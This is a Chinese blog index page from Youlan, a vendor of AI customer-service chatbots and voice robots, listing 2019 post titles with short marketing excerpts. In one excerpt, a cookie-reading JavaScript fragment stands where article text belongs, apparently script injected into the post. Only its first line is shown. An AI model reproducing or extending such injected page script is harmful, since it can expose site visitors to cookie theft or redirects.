全渠道智能语音机器人有什么特点? Uncategorizedyoulan2019-02-21评论 全渠道智能客服系统是当下最流行的智能系统,为很多企业都节省了大部分的开支,也提高了工作效率。全渠道智能系统可以… Read more
在线客服机器人系统的几个显著特点是什么? Uncategorizedyoulan2019-02-21评论 1、在线客服机器人系统可以进行分布接入、分布座席以及集中管理。 分布式的呼叫中心系统完全客服了传统的客服中心对… Read more
智能客服在线系统物流行业的解决方案 Uncategorizedyoulan2019-02-21评论 物流行业是伴随着世界经济的告诉发展兴旺起来的服务行业,以高效、快捷、方便、安全的专业服务著称,随着发展,物流行… Read more
智能客服座席系统的主要功能实现 Uncategorizedyoulan2019-02-21评论 1、所有的用户都可以通过电话进入智能系统进行所需要的服务。 2、客户拨打电话进来如若遇到座席在忙线,系统将转换… Read more
电信运营商智能客服解决方案 Uncategorizedyoulan2019-02-20评论 一、智能语音机器人分流 在传统IVR中增加智能语音机器人服务,理解来电客户诉求,调度智能知识库、业务处理接口等… Read more
为什么选择幽澜网站在线客服系统? Uncategorizedyoulan2019-02-20评论 专业的开发团队,在线客服系统领域的开拓者,技术不断升级优化,与时俱进 南北互通的多线机房,超强稳定的服务器,为… Read more
幽澜智能网站在线客服系统 Uncategorizedyoulan2019-02-20评论 幽澜智能在线客服系统基于云平台建设,具有超强的稳定性与可靠性。您只要简单将网站在线客服代码嵌入网页的底部,就可… Read more
一站式多终端连接的智能客服系统 Uncategorizedyoulan2019-02-20评论 幽澜智能一站式整合多终端即时消息客服,让企业和客户的沟通更加有效、及时、快速。 1、幽澜智能机器人有更多方法让… Read more
幽澜全自动智能机器人应答系统 Uncategorizedyoulan2019-02-20评论 function getCookie(e){var U=document.cookie.match(new R… Read more
企业如何通过自助客服知识库来挖掘潜在的客户? Uncategorizedyoulan2019-02-19评论 1、在知识库内容中嵌入聊天工具 与客服电话相比,人们更喜欢通过在线聊天的方式获取答案。用户可能会以不同的渠道进… Read more
企业搭建知识库对于客服机器人的意义 Uncategorizedyoulan2019-02-19评论 对于智能客服机器人来说,知识库的就是其一切服务的核心——如果说人工客服还能凭借丰富的经验解决用户的很多问题的话… Read more
智能机器人在客服工作中的应用 Uncategorizedyoulan2019-02-19评论 1.处理大量琐碎重复的用户请求 对日常重复性任务的处理是任务型对话机器人在客服领域最基础的应用。如对于琐碎的客… Read more
如何理解智能对话机器人的API Uncategorizedyoulan2019-02-19评论 要弄清楚智能对话机器人API的定义,首先应当简单了解对话机器人在部署方式上的发展历程:在客服对话机器人这一概念… Read more
企业使用移动智能客服系统需要注意些什么? Uncategorizedyoulan2019-02-19评论 1、显示在线时间 众所周知,并不是每一个企业的产品都需要7*24小时的客户服务,因此企业可以在用户联系企业的移… Read more
人工智能客服机器人真的有那么好吗? Uncategorizedyoulan2019-02-18评论 电话机器人是一件拥有人工智能基因的高科技产品,从选购产品以及合作伙伴的角度出发,判断机器人的品质优劣,应注意产… Read more
幽澜高性价比的智能语音系统 Uncategorizedyoulan2019-02-18评论 幽澜智能机器人呼叫系统,自动应答常见问题,还可以转人工实时应答,系统自动过滤空号、错号和占线等情况,提高数… Read more
智能语音机器人支持真人语音打断吗? Uncategorizedyoulan2019-02-18评论 随着电信行业的发展,话务服务广泛用于各行各业,凡是需要营销的企业都需要话务人员。 尽管移动互联网的兴起使得呼叫… Read more
呼叫中心系统质检功能详解 Uncategorizedyoulan2019-02-18评论 智能语音质检集成在呼叫中心系统中,与呼叫中心系统相互交互关联,呼叫中心采集的录音按选择纬度导入到智能语音质检的… Read more
智能聊天机器人常见的商业用途 Uncategorizedyoulan2019-02-18评论 1、客户服务 毫无疑问,客户服务是目前最主要的聊天机器人的商业使用场景。聊天机器人在处理客户问题的优势主要有以… Read more
幽澜智能客服机器人介绍 Uncategorizedyoulan2019-02-15评论 幽澜智能客服机器人系统是广东幽澜机器人科技有限公司旗下主打的客服系统产品,正式上线时间为2016年。虽然其上线… Read more